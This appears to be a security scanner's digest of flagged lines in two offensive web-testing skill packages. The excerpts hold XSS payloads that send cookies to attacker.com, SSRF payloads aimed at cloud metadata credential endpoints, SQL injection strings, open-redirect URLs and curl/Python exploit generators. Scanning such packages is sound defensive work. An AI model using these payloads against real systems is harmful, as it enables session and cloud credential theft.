    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]

vuln-chain-composer/SKILL.md

  • Access to secretsline 57
    [Credential-related source omitted]
  • Network accessline 117
    - Validates each step succeeded before continuing    - Generates evidence at each step 3. **curl command sequence** for manual reproduction
  • Network accessline 118
    - Generates evidence at each step 3. **curl command sequence** for manual reproduction 4. **Video script**: Narrated steps for recording a PoC video
  • Network accessline 119
    3. **curl command sequence** for manual reproduction
  • Network accessline 150
    ## Proof of Concept [curl commands or script]
  • Network accessline 151
    [curl commands or script]
  • Network accessline 206
    2. Write compelling title and summary 3. Format steps to reproduce with exact payloads 4. Include curl commands as PoC
  • Network accessline 207
    3. Format steps to reproduce with exact payloads 4. Include curl commands as PoC 5. Calculate and justify severity
  • Network accessline 208
    4. Include curl commands as PoC

vuln-chain-composer/scripts/build_chains.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 67
    "steps": [                 "Inject payload at {url} parameter {parameter}",                 "Payload: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>",
  • Network accessline 68
    "Inject payload at {url} parameter {parameter}",                 "Payload: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>",                 "Send crafted URL to victim",
  • Network accessline 69
    "Payload: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>",
  • Network accessline 78
    "steps": [                 "Submit XSS payload to stored field at {url}",                 "Payload: <script>fetch('https://attacker.com/exfil?d='+document.cookie)</script>",
  • Network accessline 79
    "Submit XSS payload to stored field at {url}",                 "Payload: <script>fetch('https://attacker.com/exfil?d='+document.cookie)</script>",                 "Wait for victim (or admin) to view the page containing stored payload",
  • Network accessline 80
    "Payload: <script>fetch('https://attacker.com/exfil?d='+document.cookie)</script>",
  • Network accessline 102
    "steps": [                 "Send SSRF payload to {url} parameter {parameter}",                 "Target internal endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  • Network accessline 103
    "Send SSRF payload to {url} parameter {parameter}",                 "Target internal endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/",                 "Extract cloud IAM credentials from metadata response",
  • Network accessline 104
    "Target internal endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  • Network accessline 113
    "steps": [                 "Exploit SSRF at {url} to reach metadata endpoint",                 "AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  • Network accessline 114
    "Exploit SSRF at {url} to reach metadata endpoint",                 "AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/",                 "GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts
  • Network accessline 115
    "AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  • Network accessline 116
    "GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
  • Network accessline 117
    "Azure: http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01",
  • Network accessline 152
    "tools": ["browser", "curl"],             "steps": [                 "Craft redirect URL: {url}?redirect=https://attacker.com/phish",
  • Network accessline 153
    "steps": [                 "Craft redirect URL: {url}?redirect=https://attacker.com/phish",                 "If used in OAuth flow, redirect steals authorization code",
  • Network accessline 154
    "Craft redirect URL: {url}?redirect=https://attacker.com/phish",

vuln-chain-composer/scripts/calculate_impact.py

  • Executable scriptline 1
    #!/usr/bin/env python3

vuln-chain-composer/scripts/correlate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

vuln-chain-composer/scripts/generate_chain_poc.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 2
    """ Chain PoC Generator - vuln-chain-composer Generates Python scripts and curl commands that demonstrate full chain exploitation.
  • Network accessline 3
    Chain PoC Generator - vuln-chain-composer Generates Python scripts and curl commands that demonstrate full chain exploitation. Author: orizon.one
  • Network accessline 4
    Generates Python scripts and curl commands that demonstrate full chain exploitation.
  • Network accessline 27
    def generate_curl_command(step, finding):     """Generate a curl command for a single exploitation step."""
  • Network accessline 28
    """Generate a curl command for a single exploitation step."""
  • Network accessline 29
    url = finding.get("url", step.get("target", "https://TARGET"))
  • Network accessline 39
    inject_payload = "' UNION SELECT username,password FROM users--"         if method == "GET":             return f"curl -s -k '{url}?{parameter}={inject_payload}'"
  • Network accessline 40
    if method == "GET":             return f"curl -s -k '{url}?{parameter}={inject_payload}'"         else:
  • Network accessline 41
    return f"curl -s -k '{url}?{parameter}={inject_payload}'"
  • Network accessline 43
    return f"curl -s -k -X POST '{url}' -d '{parameter}={inject_payload}'"
  • Network accessline 45
    elif "xss" in vuln_type:         xss_payload = payload or "<script>document.location='https://ATTACKER_SERVER/steal?c='+document.cookie</script>"
  • Network accessline 46
    xss_payload = payload or "<script>document.location='https://ATTACKER_SERVER/steal?c='+document.cookie</script>"         if method == "GET":             return f"curl -s -k '{url}?{parameter}={xss_payload}'"
  • Network accessline 47
    if method == "GET":             return f"curl -s -k '{url}?{parameter}={xss_payload}'"         else:
  • Network accessline 48
    return f"curl -s -k '{url}?{parameter}={xss_payload}'"
  • Network accessline 50
    return f"curl -s -k -X POST '{url}' -d '{parameter}={xss_payload}'"
  • Network accessline 52
    elif "ssrf" in vuln_type:         ssrf_target = payload or "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  • Network accessline 53
    ssrf_target = payload or "http://169.254.169.254/latest/meta-data/iam/security-credentials/"         if method == "GET":             return f"curl -s -k '{url}?{parameter}={ssrf_target}'"
  • Network accessline 54
    if method == "GET":             return f"curl -s -k '{url}?{parameter}={ssrf_target}'"         else:
  • Network accessline 55
    return f"curl -s -k '{url}?{parameter}={ssrf_target}'"
  • Network accessline 57
    return f"curl -s -k -X POST '{url}' -d '{parameter}={ssrf_target}'"
  • Network accessline 62
    elif "redirect" in vuln_type:         return f"curl -s -k -L '{url}?redirect=https://ATTACKER_SERVER/capture'"
  • Network accessline 63
    return f"curl -s -k -L '{url}?redirect=https://ATTACKER_SERVER/capture'"
  • Network accessline 75
    elif "bucket" in vuln_type:         return f"curl -s -k '{url}' | head -50\n# Or: aws s3 ls s3://BUCKET_NAME --no-sign-request"
  • Network accessline 76
    return f"curl -s -k '{url}' | head -50\n# Or: aws s3 ls s3://BUCKET_NAME --no-sign-request"
  • Network accessline 78
    elif "ssti" in vuln_type:         ssti_payload = payload or "{{7*7}}"         return f"curl -s -k '{url}' -d '{parameter}={ssti_payload}'"
  • Network accessline 80
    return f"curl -s -k '{url}' -d '{parameter}={ssti_payload}'"
  • Network accessline 82
    else:         if method == "GET":             return f"curl -s -k '{url}'"
  • Network accessline 83
    if method == "GET":             return f"curl -s -k '{url}'"         else:
  • Network accessline 84
    return f"curl -s -k '{url}'"
  • Network accessline 86
    return f"curl -s -k -X POST '{url}' -d '{parameter}={payload or \"test\"}'"
  • Network accessline 101
    lines.append('"""')     lines.append('')     lines.append('import http.client')
  • Network accessline 102
    lines.append('')     lines.append('import http.client')     lines.append('import json')
  • Network accessline 103
    lines.append('import http.client')
  • Network accessline 110
    lines.append('')     lines.append('# Configuration - UPDATE THESE VALUES')     lines.append(f'TARGET = "{primary.get("url", "https://TARGET")}"')
  • Network accessline 111
    lines.append('# Configuration - UPDATE THESE VALUES')     lines.append(f'TARGET = "{primary.get("url", "https://TARGET")}"')     lines.append('SESSION_COOKIE = "YOUR_SESSION_COOKIE"')
  • Network accessline 112
    lines.append(f'TARGET = "{primary.get("url", "https://TARGET")}"')
  • Network accessline 113
    lines.append('SESSION_COOKIE = "YOUR_SESSION_COOKIE"')     lines.append('ATTACKER_SERVER = "https://YOUR_ATTACKER_SERVER"')     lines.append('')
  • Network accessline 114
    lines.append('ATTACKER_SERVER = "https://YOUR_ATTACKER_SERVER"')
  • Network accessline 131
    lines.append('')     lines.append('    if scheme == "https":')     lines.append('        conn = http.client.HTTPSConnection(host, port, context=CTX, timeout=10)')
  • Network accessline 132
    lines.append('    if scheme == "https":')     lines.append('        conn = http.client.HTTPSConnection(host, port, context=CTX, timeout=10)')     lines.append('    else:')
  • Network accessline 133
    lines.append('        conn = http.client.HTTPSConnection(host, port, context=CTX, timeout=10)')
  • Network accessline 134
    lines.append('    else:')     lines.append('        conn = http.client.HTTPConnection(host, port, timeout=10)')     lines.append('')
  • Network accessline 135
    lines.append('        conn = http.client.HTTPConnection(host, port, timeout=10)')
  • Network accessline 264
    def generate_curl_sequence(chain):     """Generate a sequence of curl commands for the chain."""
  • Network accessline 265
    """Generate a sequence of curl commands for the chain."""
  • Network accessline 299
    action = step.get("action", "")                 lines.append(f"echo 'Step {step_num}: {action}'")             curl = generate_curl_command(phase, finding)
  • Network accessline 300
    lines.append(f"echo 'Step {step_num}: {action}'")             curl = generate_curl_command(phase, finding)             lines.append(curl)
  • Network accessline 301
    curl = generate_curl_command(phase, finding)
  • Network accessline 309
    finding = all_findings[min(i, len(all_findings) - 1)] if all_findings else {}             if isinstance(finding, dict):                 curl = generate_curl_command({"target": finding.get("url", "")}, finding)
  • Network accessline 310
    if isinstance(finding, dict):                 curl = generate_curl_command({"target": finding.get("url", "")}, finding)                 lines.append(curl)
  • Network accessline 311
    curl = generate_curl_command({"target": finding.get("url", "")}, finding)
  • Network accessline 447
    print(f"{'='*60}")     print(f"  Chains processed  : {len(poc_results)}")     print(f"  PoC types per chain: Python script, curl sequence, video script")
  • Network accessline 448
    print(f"  Chains processed  : {len(poc_results)}")     print(f"  PoC types per chain: Python script, curl sequence, video script")     if output_dir:
  • Network accessline 449
    print(f"  PoC types per chain: Python script, curl sequence, video script")

vuln-chain-composer/scripts/generate_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3

vuln-chain-composer/scripts/import_findings.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 188
    findings.append({                     "type": "info_disclosure",                     "url": f"https://{host}:{port}",
  • Network accessline 189
    "type": "info_disclosure",                     "url": f"https://{host}:{port}",                     "severity": "INFO",
  • Network accessline 190
    "url": f"https://{host}:{port}",
  • Network accessline 202
    findings.append({                             "type": "info_disclosure",                             "url": f"https://{target}",
  • Network accessline 203
    "type": "info_disclosure",                             "url": f"https://{target}",                             "severity": "LOW",
  • Network accessline 204
    "url": f"https://{target}",
  • Network accessline 214
    findings.append({                     "type": "info_disclosure",                     "url": f"https://{subdomain}",
  • Network accessline 215
    "type": "info_disclosure",                     "url": f"https://{subdomain}",                     "severity": "INFO",
  • Network accessline 216
    "url": f"https://{subdomain}",
  • Network accessline 232
    findings.append({                 "type": f"attack_path_{path.get('attack_name', 'unknown').lower().replace(' ', '_')}",                 "url": f"https://{path.get('target', '')}",
  • Network accessline 233
    "type": f"attack_path_{path.get('attack_name', 'unknown').lower().replace(' ', '_')}",                 "url": f"https://{path.get('target', '')}",                 "severity": "HIGH" if path.get("combined_score", 0) >= 7 else "MEDIUM",
  • Network accessline 234
    "url": f"https://{path.get('target', '')}",
  • Network accessline 242
    findings.append({                 "type": "public_bucket",                 "url": f"https://{bucket['name']}.s3.amazonaws.com/" if bucket.get("provider") == "aws_s3" else bucket["name"],
  • Network accessline 243
    "type": "public_bucket",                 "url": f"https://{bucket['name']}.s3.amazonaws.com/" if bucket.get("provider") == "aws_s3" else bucket["name"],                 "severity": "HIGH",
  • Network accessline 244
    "url": f"https://{bucket['name']}.s3.amazonaws.com/" if bucket.get("provider") == "aws_s3" else bucket["name"],
  • Network accessline 253
    findings.append({                     "type": "subdomain_takeover",                     "url": f"https://{rel.get('source', '')}",
  • Network accessline 254
    "type": "subdomain_takeover",                     "url": f"https://{rel.get('source', '')}",                     "severity": "HIGH",
  • Network accessline 255
    "url": f"https://{rel.get('source', '')}",
  • Network accessline 266
    findings.append({                     "type": "trust_relationship",                     "url": f"https://{rel.get('source', rel.get('from', ''))}",
  • Network accessline 267
    "type": "trust_relationship",                     "url": f"https://{rel.get('source', rel.get('from', ''))}",                     "severity": "INFO",
  • Network accessline 268
    "url": f"https://{rel.get('source', rel.get('from', ''))}",
  • Network accessline 277
    findings.append({                         "type": "trust_relationship",                         "url": f"https://{source}",
  • Network accessline 278
    "type": "trust_relationship",                         "url": f"https://{source}",                         "severity": "INFO",
  • Network accessline 279
    "url": f"https://{source}",
  • Network accessline 293
    findings.append({                     "type": f"attack_path_{goal.lower().replace(' ', '_')[:50]}",                     "url": f"https://{target}" if target else "",
  • Network accessline 294
    "type": f"attack_path_{goal.lower().replace(' ', '_')[:50]}",                     "url": f"https://{target}" if target else "",                     "severity": "CRITICAL" if score >= 9 else "HIGH" if score >= 7 else "MEDIUM",
  • Network accessline 295
    "url": f"https://{target}" if target else "",

webapp-exploit-hunter/SKILL.md

  • Network accessline 184
    Generate: 1. **curl command** that demonstrates the vulnerability
  • Network accessline 185
    1. **curl command** that demonstrates the vulnerability

webapp-exploit-hunter/scripts/auth_tester.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 51
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 53
    start = time.time()     try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 54
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 55
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Access to secretsline 169
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]
  • Access to secretsline 231
    [Credential-related source omitted]
  • Access to secretsline 252
    [Credential-related source omitted]
  • Access to secretsline 253
    [Credential-related source omitted]
  • Possible obfuscationline 334
    decoded = base64.b64decode(part)
  • Network accessline 566
    test_origins = [         "https://evil.com",
  • Network accessline 567
    "https://evil.com",
  • Network accessline 568
    "https://attacker.example.com",
  • Network accessline 574
    test_origins.append(f"https://{parsed.hostname}.evil.com")

webapp-exploit-hunter/scripts/crawler.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 92
    req = urllib.request.Request(url, headers=default_headers)
  • Network accessline 93
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(131072).decode("utf-8", errors="replace")
  • Network accessline 94
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Access to secretsline 159
    [Credential-related source omitted]
  • Network accessline 292
    target = args.target.strip()     if not target.startswith("http"):         target = f"https://{target}"
  • Network accessline 294
    target = f"https://{target}"

webapp-exploit-hunter/scripts/generate_poc.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 165
    # ─── curl PoC generators ─────────────────────────────────────────────────────
  • Network accessline 168
    """Generate curl command for SQLi finding."""
  • Network accessline 178
    new_query = urllib.parse.urlencode(params, doseq=True)         test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"
  • Network accessline 179
    test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"     else:
  • Network accessline 180
    return f"curl -k -v '{test_url}'"
  • Network accessline 181
    else:         encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X POST '{url}' -d '{encoded}'"
  • Network accessline 183
    return f"curl -k -v -X POST '{url}' -d '{encoded}'"
  • Network accessline 187
    """Generate curl command for XSS finding."""
  • Network accessline 200
    else:         encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X POST '{url}' -d '{encoded}'"
  • Network accessline 202
    return f"curl -k -v -X POST '{url}' -d '{encoded}'"
  • Network accessline 206
    """Generate curl command for SSRF finding."""
  • Network accessline 207
    url = finding.get("url", "")     param = finding.get("param", "")     payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/")
  • Network accessline 208
    param = finding.get("param", "")     payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/")     method = finding.get("method", "GET")
  • Network accessline 209
    payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/")
  • Network accessline 216
    new_query = urllib.parse.urlencode(params, doseq=True)         test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"
  • Network accessline 217
    test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"     else:
  • Network accessline 218
    return f"curl -k -v '{test_url}'"
  • Network accessline 219
    else:         encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X POST '{url}' -d '{encoded}'"
  • Network accessline 221
    return f"curl -k -v -X POST '{url}' -d '{encoded}'"
  • Network accessline 225
    """Generate curl command for SSTI finding."""
  • Network accessline 235
    new_query = urllib.parse.urlencode(params, doseq=True)         test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"
  • Network accessline 236
    test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"     else:
  • Network accessline 237
    return f"curl -k -v '{test_url}'"
  • Network accessline 238
    else:         encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X POST '{url}' -d '{encoded}'"
  • Network accessline 240
    return f"curl -k -v -X POST '{url}' -d '{encoded}'"
  • Network accessline 244
    """Generate curl command for race condition finding."""
  • Network accessline 252
    f"# Send {threads} parallel requests:\n"         f"seq 1 {threads} | xargs -P {threads} -I {{}} "         f"curl -k -X {method} '{url}'"
  • Network accessline 253
    f"seq 1 {threads} | xargs -P {threads} -I {{}} "         f"curl -k -X {method} '{url}'"     )
  • Network accessline 254
    f"curl -k -X {method} '{url}'"
  • Network accessline 259
    """Generate curl command for a generic finding."""
  • Network accessline 272
    new_query = urllib.parse.urlencode(params, doseq=True)         test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"
  • Network accessline 273
    test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"     elif param and payload:
  • Network accessline 274
    return f"curl -k -v '{test_url}'"
  • Network accessline 275
    elif param and payload:         encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X {method} '{url}' -d '{encoded}'"
  • Network accessline 276
    encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X {method} '{url}' -d '{encoded}'"     else:
  • Network accessline 277
    return f"curl -k -v -X {method} '{url}' -d '{encoded}'"
  • Network accessline 279
    return f"curl -k -v -X {method} '{url}'"
  • Network accessline 326
    new_query = urllib.parse.urlencode(params, doseq=True)             test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))             req = urllib.request.Request(test_url, headers=headers)
  • Network accessline 327
    test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))             req = urllib.request.Request(test_url, headers=headers)         else:
  • Network accessline 328
    req = urllib.request.Request(test_url, headers=headers)
  • Network accessline 329
    else:             data = urllib.parse.urlencode({{PARAM: PAYLOAD}}).encode()             req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD)
  • Network accessline 331
    req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD)
  • Network accessline 333
    try:             with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:
  • Network accessline 334
    with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:
  • Network accessline 376
    new_query = urllib.parse.urlencode(params, doseq=True)             test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))             req = urllib.request.Request(test_url, headers=headers)
  • Network accessline 377
    test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))             req = urllib.request.Request(test_url, headers=headers)         else:
  • Network accessline 378
    req = urllib.request.Request(test_url, headers=headers)
  • Network accessline 379
    else:             data = urllib.parse.urlencode({{PARAM: PAYLOAD}}).encode()             req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD)
  • Network accessline 381
    req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD)
  • Network accessline 383
    try:             with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:
  • Network accessline 384
    with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:
  • Network accessline 399
    url = finding.get("url", "")     param = finding.get("param", "")     payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/")
  • Network accessline 401
    payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/")
  • Network accessline 414
    PAYLOADS = [             "http://169.254.169.254/latest/meta-data/",
  • Network accessline 415
    "http://169.254.169.254/latest/meta-data/",
  • Network accessline 416
    "http://127.0.0.1:80/",
  • Network accessline 417
    "http://localhost:8080/",
  • Network accessline 418
    "http://[::1]/",
  • Network accessline 432
    new_query = urllib.parse.urlencode(params, doseq=True)             test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))             req = urllib.request.Request(test_url, headers=headers)
  • Network accessline 434
    req = urllib.request.Request(test_url, headers=headers)
  • Network accessline 436
    try:                 with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
  • Network accessline 437
    with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
  • Network accessline 469
    def send_request(idx):             headers = {{"User-Agent": "Mozilla/5.0 (PoC exploit-hunter)"}}             req = urllib.request.Request(TARGET, data=DATA, headers=headers, method=METHOD)
  • Network accessline 470
    headers = {{"User-Agent": "Mozilla/5.0 (PoC exploit-hunter)"}}             req = urllib.request.Request(TARGET, data=DATA, headers=headers, method=METHOD)             try:
  • Network accessline 471
    req = urllib.request.Request(TARGET, data=DATA, headers=headers, method=METHOD)
  • Network accessline 472
    try:                 with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:                     body = resp.read(4096).decode("utf-8", errors="replace")
  • Network accessline 473
    with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:
  • Network accessline 564
    f"2. Set the '{param}' parameter to: {payload}",         f"3. Observe the response for internal service data or metadata.",         f"4. Try accessing cloud metadata: http://169.254.169.254/latest/meta-data/",
  • Network accessline 565
    f"3. Observe the response for internal service data or metadata.",         f"4. Try accessing cloud metadata: http://169.254.169.254/latest/meta-data/",         f"5. Try port scanning internal hosts by varying the target IP/port.",
  • Network accessline 566
    f"4. Try accessing cloud metadata: http://169.254.169.254/latest/meta-data/",
  • Network accessline 578
    f"1. Prepare a {method} request to: {url}",         f"2. Set up {threads} identical requests with the same session/auth token.",         f"3. Send all requests simultaneously (use threading, curl parallel, or Turbo Intruder).",
  • Network accessline 579
    f"2. Set up {threads} identical requests with the same session/auth token.",         f"3. Send all requests simultaneously (use threading, curl parallel, or Turbo Intruder).",         f"4. Examine responses: if multiple requests succeed for
  • Network accessline 580
    f"3. Send all requests simultaneously (use threading, curl parallel, or Turbo Intruder).",
  • Network accessline 619
    # Generate curl PoC
  • Network accessline 695
    print(f"    {cls:15s} : {count}")     print(f"  Generated per finding:")     print(f"    - curl command")
  • Network accessline 696
    print(f"  Generated per finding:")     print(f"    - curl command")     print(f"    - Python PoC script")
  • Network accessline 697
    print(f"    - curl command")

webapp-exploit-hunter/scripts/idor_tester.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 43
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 44
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 45
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 46
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(131072).decode("utf-8", errors="replace")
  • Network accessline 47
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 217
    "baseline_length": len(base_body),                 "tested_length": len(body),                 "poc_curl": f"curl -k '{test_url}'",
  • Network accessline 218
    "tested_length": len(body),                 "poc_curl": f"curl -k '{test_url}'",             })
  • Network accessline 219
    "poc_curl": f"curl -k '{test_url}'",
  • Network accessline 267
    "baseline_length": len(base_body),                 "tested_length": len(body),                 "poc_curl": f"curl -k -X {method} '{target_url}'",
  • Network accessline 268
    "tested_length": len(body),                 "poc_curl": f"curl -k -X {method} '{target_url}'",             })
  • Network accessline 269
    "poc_curl": f"curl -k -X {method} '{target_url}'",
  • Network accessline 318
    "baseline_length": 0,                     "tested_length": len(body),                     "poc_curl": f"curl -k '{test_url}'",
  • Network accessline 319
    "tested_length": len(body),                     "poc_curl": f"curl -k '{test_url}'",                 })
  • Network accessline 320
    "poc_curl": f"curl -k '{test_url}'",

webapp-exploit-hunter/scripts/race_tester.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 49
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 51
    start = time.time()     try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 52
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 53
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 333
    # Generate PoC curl commands
  • Network accessline 342
    f"# Send {threads} parallel requests using xargs + curl\n"             f"seq 1 {threads} | xargs -P {threads} -I {{}} "             f"curl -k -X {args.method} '{args.target}'"
  • Network accessline 343
    f"seq 1 {threads} | xargs -P {threads} -I {{}} "             f"curl -k -X {args.method} '{args.target}'"             f"{data_flag}{cookie_flag}{header_flags}"
  • Network accessline 344
    f"curl -k -X {args.method} '{args.target}'"

webapp-exploit-hunter/scripts/sqli_tester.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 50
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 52
    start = time.time()     try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 53
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 54
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 389
    for finding in all_findings:         if finding["method"] == "GET":             finding["poc_curl"] = f"curl -k '{finding['url']}' --data-urlencode '{finding['param']}={finding.get('payload', '')}'"
  • Network accessline 390
    if finding["method"] == "GET":             finding["poc_curl"] = f"curl -k '{finding['url']}' --data-urlencode '{finding['param']}={finding.get('payload', '')}'"         else:
  • Network accessline 391
    finding["poc_curl"] = f"curl -k '{finding['url']}' --data-urlencode '{finding['param']}={finding.get('payload', '')}'"
  • Network accessline 393
    finding["poc_curl"] = f"curl -k -X POST '{finding['url']}' -d '{finding['param']}={finding.get('payload', '')}'"

webapp-exploit-hunter/scripts/ssrf_tester.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 37
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 38
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 39
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 40
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 41
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 62
    SSRF_PAYLOADS = {     "localhost": [         "http://127.0.0.1/",
  • Network accessline 63
    "localhost": [         "http://127.0.0.1/",         "http://localhost/",
  • Network accessline 64
    "http://127.0.0.1/",
  • Network accessline 65
    "http://localhost/",
  • Network accessline 66
    "http://0.0.0.0/",
  • Network accessline 67
    "http://[::1]/",
  • Network accessline 68
    "http://0/",
  • Network accessline 69
    "http://127.1/",
  • Network accessline 70
    "http://127.0.1/",
  • Network accessline 71
    ],     "cloud_metadata_aws": [         "http://169.254.169.254/latest/meta-data/",
  • Network accessline 72
    "cloud_metadata_aws": [         "http://169.254.169.254/latest/meta-data/",         "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  • Network accessline 73
    "http://169.254.169.254/latest/meta-data/",
  • Network accessline 74
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  • Network accessline 75
    "http://169.254.169.254/latest/user-data",
  • Network accessline 76
    "http://169.254.169.254/latest/meta-data/hostname",
  • Network accessline 77
    ],     "cloud_metadata_gcp": [         "http://metadata.google.internal/computeMetadata/v1/",
  • Network accessline 78
    "cloud_metadata_gcp": [         "http://metadata.google.internal/computeMetadata/v1/",         "http://169.254.169.254/computeMetadata/v1/",
  • Network accessline 79
    "http://metadata.google.internal/computeMetadata/v1/",
  • Network accessline 80
    "http://169.254.169.254/computeMetadata/v1/",
  • Network accessline 81
    ],     "cloud_metadata_azure": [         "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
  • Network accessline 82
    "cloud_metadata_azure": [         "http://169.254.169.254/metadata/instance?api-version=2021-02-01",     ],
  • Network accessline 83
    "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
  • Network accessline 84
    ],     "internal_services": [         "http://127.0.0.1:22/",
  • Network accessline 85
    "internal_services": [         "http://127.0.0.1:22/",         "http://127.0.0.1:80/",
  • Network accessline 86
    "http://127.0.0.1:22/",
  • Network accessline 87
    "http://127.0.0.1:80/",
  • Network accessline 88
    "http://127.0.0.1:443/",
  • Network accessline 89
    "http://127.0.0.1:3306/",
  • Network accessline 90
    "http://127.0.0.1:5432/",
  • Network accessline 91
    "http://127.0.0.1:6379/",
  • Network accessline 92
    "http://127.0.0.1:8080/",
  • Network accessline 93
    "http://127.0.0.1:9200/",
  • Network accessline 94
    "http://127.0.0.1:27017/",
  • Network accessline 95
    ],     "bypass_ip_encoding": [         "http://2130706433/",           # 127.0.0.1 in decimal
  • Network accessline 96
    "bypass_ip_encoding": [         "http://2130706433/",           # 127.0.0.1 in decimal         "http://0x7f000001/",           # 127.0.0.1 in hex
  • Network accessline 97
    "http://2130706433/",           # 127.0.0.1 in decimal
  • Network accessline 98
    "http://0x7f000001/",           # 127.0.0.1 in hex
  • Network accessline 99
    "http://017700000001/",         # 127.0.0.1 in octal
  • Network accessline 100
    "http://0177.0.0.1/",          # 127.0.0.1 mixed octal
  • Network accessline 101
